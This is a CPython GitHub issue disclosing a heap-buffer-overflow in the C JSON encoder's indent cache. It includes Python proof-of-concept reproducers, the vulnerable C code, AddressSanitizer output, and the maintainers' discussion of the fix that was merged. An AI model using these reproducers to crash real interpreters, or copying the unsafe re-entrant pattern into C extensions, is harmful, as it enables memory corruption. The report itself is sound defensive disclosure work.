Skip to content

Heap-buffer-overflow in json.encoder indentation cache via re-entrant __mul__ #143196

Closed
Closed
Heap-buffer-overflow in json.encoder indentation cache via re-entrant __mul__#143196
Assignees
caverac
Labels
3.14bugs and security fixes3.15bugs and security fixesextension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump

Description

@jackfromeast
jackfromeast
opened on Dec 26, 2025

What happened?

A crafted indent object overrides __mul__, so when create_indent_cache calls PySequence_Repeat it can drop the encoder’s last reference and free the encoder mid‑call. The freed memory is then reallocated for a 1‑element indent cache, but update_indent_cache still indexes it as if it were the original larger cache, causing a heap‑buffer‑overflow during JSON encoding.

Proof of Concept:

import json

_holder = []

class EvilIndent(str):
    def __mul__(self, count):
        _holder.pop()
        return " "

indent = EvilIndent(" ")
encoder = json.encoder.c_make_encoder(
    None,                    
    lambda obj: obj,       
    lambda obj: obj,         
    indent,
    ":",
    ", ",
    False,                   
    False,                   
    False,                   
)
_holder.append(encoder)

encoder([None], 1)
Affected Versions
Python Version Status Exit Code
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) OK 0
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] OK 0
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 16:57:16) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Vulnerable Code 
static PyObject *
create_indent_cache(PyEncoderObject *s, Py_ssize_t indent_level)
{
    PyObject *newline_indent = PyUnicode_FromOrdinal('\n');
    if (newline_indent != NULL && indent_level) {
        PyUnicode_AppendAndDel(&newline_indent,
                               PySequence_Repeat(s->indent, indent_level)); // Trigger __mul__ method and free the s
    }
    if (newline_indent == NULL) {
        return NULL;
    }

    // Occupy our freed buffer
    PyObject *indent_cache = PyList_New(1);
    if (indent_cache == NULL) {
        Py_DECREF(newline_indent);
        return NULL;
    }
    PyList_SET_ITEM(indent_cache, 0, newline_indent);
    return indent_cache;
}

static int
update_indent_cache(PyEncoderObject *s,
                    Py_ssize_t indent_level, PyObject *indent_cache)
{
    assert(indent_level * 2 == PyList_GET_SIZE(indent_cache) + 1);
    assert(indent_level > 0);
    // Access the freed buffer / occupied by indent_cache right now
    PyObject *newline_indent = PyList_GET_ITEM(indent_cache, (indent_level - 1)*2);
    newline_indent = PyUnicode_Concat(newline_indent, s->indent);
    if (newline_indent == NULL) {
        return -1;
    }

    /* ... */
Sanitizer Output 
=================================================================
==1643271==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000051a0 at pc 0x7e13a53054e7 bp 0x7ffe02157440 sp 0x7ffe02157438
READ of size 8 at 0x5020000051a0 thread T0
    #0 0x7e13a53054e6 in update_indent_cache /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1411:32
    #1 0x7e13a53054e6 in get_item_separator /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1440:13
    #2 0x7e13a5302a6b in encoder_listencode_list /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1982:21
    #3 0x7e13a52fea23 in encoder_call /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1483:9
    #4 0x5d8596341b81 in _PyObject_MakeTpCall /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/call.c:242:18
    #5 0x5d8596941c62 in _PyEval_EvalFrameDefault /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/generated_cases.c.h:1620:35
    #6 0x5d8596910bf4 in _PyEval_Vector /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:2005:12
    #7 0x5d8596910bf4 in PyEval_EvalCode /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:888:21
    #8 0x5d8596bd54d4 in run_mod /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1459:19
    #9 0x5d8596bcf02d in pyrun_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1293:15
    #10 0x5d8596bcc2d3 in _PyRun_SimpleFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:521:13
    #11 0x5d8596bcb89e in _PyRun_AnyFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:81:15
    #12 0x5d8596c90b13 in pymain_run_file_obj /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:410:15
    #13 0x5d8596c90b13 in pymain_run_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:429:15
    #14 0x5d8596c8dbcb in pymain_run_python /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:691:21
    #15 0x5d8596c8dbcb in Py_RunMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:772:5
    #16 0x5d8596c8f7fb in pymain_main /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:802:12
    #17 0x5d8596c8faa2 in Py_BytesMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:826:12
    #18 0x7e13a742a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #19 0x7e13a742a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #20 0x5d859604c114 in _start (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x6b0114) (BuildId: 0aee20a59f1c25de22733bd0e5f8259ab04406c4)

0x5020000051a0 is located 8 bytes after 8-byte region [0x502000005190,0x502000005198)
allocated by thread T0 here:
    #0 0x5d85960e714d in calloc (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x74b14d) (BuildId: 0aee20a59f1c25de22733bd0e5f8259ab04406c4)
    #1 0x5d8596424d76 in PyList_New /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/listobject.c:262:37
    #2 0x7e13a52fe965 in create_indent_cache /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1393:30
    #3 0x7e13a52fe965 in encoder_call /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1477:24
    #4 0x5d8596341b81 in _PyObject_MakeTpCall /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Objects/call.c:242:18
    #5 0x5d8596941c62 in _PyEval_EvalFrameDefault /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/generated_cases.c.h:1620:35
    #6 0x5d8596910bf4 in _PyEval_Vector /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:2005:12
    #7 0x5d8596910bf4 in PyEval_EvalCode /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/ceval.c:888:21
    #8 0x5d8596bd54d4 in run_mod /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1459:19
    #9 0x5d8596bcf02d in pyrun_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:1293:15
    #10 0x5d8596bcc2d3 in _PyRun_SimpleFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:521:13
    #11 0x5d8596bcb89e in _PyRun_AnyFileObject /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Python/pythonrun.c:81:15
    #12 0x5d8596c90b13 in pymain_run_file_obj /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:410:15
    #13 0x5d8596c90b13 in pymain_run_file /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:429:15
    #14 0x5d8596c8dbcb in pymain_run_python /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:691:21
    #15 0x5d8596c8dbcb in Py_RunMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:772:5
    #16 0x5d8596c8f7fb in pymain_main /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:802:12
    #17 0x5d8596c8faa2 in Py_BytesMain /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/Modules/main.c:826:12
    #18 0x7e13a742a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #19 0x7e13a742a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #20 0x5d859604c114 in _start (/home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/python+0x6b0114) (BuildId: 0aee20a59f1c25de22733bd0e5f8259ab04406c4)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/jackfromeast/Desktop/entropy/tasks/reproducexx/targets/cpython-main/./Modules/_json.c:1411:32 in update_indent_cache
Shadow bytes around the buggy address:
  0x502000004f00: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x502000004f80: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa
  0x502000005000: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x502000005080: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x502000005100: fa fa fd fa fa fa fd fa fa fa 02 fa fa fa 00 fa
=>0x502000005180: fa fa 00 fa[fa]fa fa fa fa fa fa fa fa fa fa fa
  0x502000005200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000005280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000005300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000005380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x502000005400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1643271==ABORTING

Linked PRs

Activity

  1. picnixz
    added
    extension-modulesC modules in the Modules dir
    type-crashA hard crash of the interpreter, possibly with a core dump
    on Dec 26, 2025
  2. picnixz
    added this to JSON issueson Dec 26, 2025

  3. yihong0618 commented on Dec 27, 2025

    @yihong0618
    yihong0618
    on Dec 27, 2025
    Contributor

    6b2a196 this commit first bring the error

  4. skirpichev
    added
    3.14bugs and security fixes
    on Dec 27, 2025
  5. picnixz
    added
    3.15bugs and security fixes
    on Dec 27, 2025

  6. eendebakpt commented on Dec 27, 2025

    @eendebakpt
    eendebakpt
    on Dec 27, 2025
    Contributor

    I can confirm the issue, but the mechanism is a different as described. Here is a reproducer without a custom string:

    import json

indent = '  '
encoder = json.encoder.c_make_encoder(
    None,                    
    default=lambda obj: obj,       
    encoder= lambda obj: obj,         
    indent = indent,
    key_separator = ":",
   item_separator= ", ",
  skipkeys=  False,                   
 allow_nan=   False,                   
    sort_keys=False,                   
)

print('start')
encoder([None], 1) 
print('end')

    The issue is the second argument to encoder: it should be 0, otherwise the cache is being used while not initialized.

    The encoder is created using c_make_encoder. I suspect the c_make_encoder is intended to be a private method (it is part of _json, I cannot find public documentation on it), but it is imported as a public method. So one could argue this is not a bug, but bad usage of an internal interface.

    Fixing the issue is not hard, so maybe that is the best option here. Alternatively, we could leave it as is and (optionally) change the import

    from _json import make_encoder as c_make_encoder

    to

    from _json import make_encoder as _c_make_encoder

    @serhiy-storchaka Do you have an opinion on how to resolve this?

  7. nineteendo commented on Dec 28, 2025

    @nineteendo
    nineteendo
    on Dec 28, 2025
    Contributor

    Doesn't that make this a duplicate of #140750?

  8. caverac commented on Dec 28, 2025

    @caverac
    caverac
    on Dec 28, 2025

    It seems there are two related bugs in the encoder (introduced in gh-95382):

    1. Uninitialized cache access: When c_make_encoder is called with _current_indent_level > 0, the cache is created with only 1 element, but update_indent_cache expects the cache to be incrementally built starting from level 0. This causes out-of-bounds memory access.
    2. Re-entrant __mul__ vulnerability: PySequence_Repeat(s->indent, indent_level) in create_indent_cache can execute arbitrary Python code through a custom __mul__ method, potentially causing use-after-free.

    I have a little branch with a potential solution: two validation checks in _json.c:

    1. Type check in encoder_new: Require indent to be str or None (reject non-string objects like integers or lists that would fail later anyway).
    2. Indent level check in encoder_call: Require _current_indent_level == 0 when indent is set. This:
    • Prevents the uninitialized cache access (the cache is designed to start at level 0)
    • Eliminates the __mul__ attack vector since PySequence_Repeat is only called when indent_level != 0
    static PyObject *
encoder_new(PyTypeObject *type, PyObject *args, PyObject *kwds)
{
    ...
    if (indent != Py_None && !PyUnicode_Check(indent)) {
        PyErr_Format(PyExc_TypeError,
                     "make_encoder() argument 4 must be str or None, "
                     "not %.200s", Py_TYPE(indent)->tp_name);
        return NULL;
    }
    ...
}

    But, just want to confirm whether it is a reasonable solution/I'm allowed to submit the PR.

  9. eendebakpt commented on Dec 28, 2025

    @eendebakpt
    eendebakpt
    on Dec 28, 2025
    Contributor

    @caverac A PR is welcome. Maybe we need to replace the unicode check with a conversion to unicode. (I would have to look at the details for this)

  10. yihong0618 commented on Dec 28, 2025

    @yihong0618
    yihong0618
    on Dec 28, 2025
    Contributor

    It seems there are two related bugs in the encoder (introduced in gh-95382):

    1. Uninitialized cache access: When c_make_encoder is called with _current_indent_level > 0, the cache is created with only 1 element, but update_indent_cache expects the cache to be incrementally built starting from level 0. This causes out-of-bounds memory access.
    2. Re-entrant __mul__ vulnerability: PySequence_Repeat(s->indent, indent_level) in create_indent_cache can execute arbitrary Python code through a custom __mul__ method, potentially causing use-after-free.

    I have a little branch with a potential solution: two validation checks in _json.c:

    1. Type check in encoder_new: Require indent to be str or None (reject non-string objects like integers or lists that would fail later anyway).
    2. Indent level check in encoder_call: Require _current_indent_level == 0 when indent is set. This:
    • Prevents the uninitialized cache access (the cache is designed to start at level 0)
    • Eliminates the __mul__ attack vector since PySequence_Repeat is only called when indent_level != 0
    static PyObject *
encoder_new(PyTypeObject *type, PyObject *args, PyObject *kwds)
{
    ...
    if (indent != Py_None && !PyUnicode_Check(indent)) {
        PyErr_Format(PyExc_TypeError,
                     "make_encoder() argument 4 must be str or None, "
                     "not %.200s", Py_TYPE(indent)->tp_name);
        return NULL;
    }
    ...
}

    But, just want to confirm whether it is a reasonable solution/I'm allowed to submit the PR.

    will this make the performance lower? Since the root cause is aim to better the performance

  11. caverac
    added a commit that references this issue on Dec 28, 2025

    pythongh-143196: fix heap-buffer-overflow in JSON encoder indent cache

    ff88078

  12. caverac commented on Dec 28, 2025

    @caverac
    caverac
    on Dec 28, 2025

    @yihong0618 I let a comment on the PR regarding potential performance implications. My take on it is: I don't think performance is an issue since the performance-critical recursive encoding path (encoder_listencode_list, encoder_listencode_dict) is completely unchanged. But I would love to hear your thoughts on it.

  13. caverac
    added 2 commits that reference this issue on Dec 28, 2025

    pythongh-143196: fix heap-buffer-overflow in JSON encoder indent cache

    660c445

    pythongh-143196: fix heap-buffer-overflow in JSON encoder indent cache

    48bd344
  14. picnixz
    assigned
    picnixz
    and
    caverac
    and unassigned
    picnixz
    on Jan 1, 2026
  15. serhiy-storchaka
    added a commit that references this issue on Jan 9, 2026

    pythongh-143196: Fix crash in non-standard use of internal JSON encod…

    919295b

  16. serhiy-storchaka commented on Jan 9, 2026

    @serhiy-storchaka
    serhiy-storchaka
    on Jan 9, 2026
    Member

    The simplest fix is to reset the current indent level to zero after initializing the indent cache.

    We can consider removing the _current_indent_level parameter, but this is other issue. The C implementation mimicks the Python implementation, and the Python implementation needs such parameter. But they all are internal details.

  17. serhiy-storchaka
    added a commit that references this issue on Jan 12, 2026

    gh-143196: Fix crash in non-standard use of internal JSON encoder obj…

    c559135
  18. miss-islington
    added a commit that references this issue on Jan 12, 2026

    pythongh-143196: Fix crash in non-standard use of internal JSON encod…

    dd5739e
  19. serhiy-storchaka
    closed this as completedon Jan 12, 2026
  20. github-project-automation
    moved this to Done in JSON issueson Jan 12, 2026
  21. serhiy-storchaka
    added a commit that references this issue on Jan 12, 2026

    [3.14] gh-143196: Fix crash in non-standard use of internal JSON enco…

    7a066ad
  22. reidenong
    added a commit that references this issue on Jan 12, 2026

    pythongh-143196: Fix crash in non-standard use of internal JSON encod…

    7e06b3b
  23. thunder-coding
    added a commit that references this issue on Feb 15, 2026

    pythongh-143196: Fix crash in non-standard use of internal JSON encod…

    88d0cce
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

3.14bugs and security fixes3.15bugs and security fixesextension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump

Projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions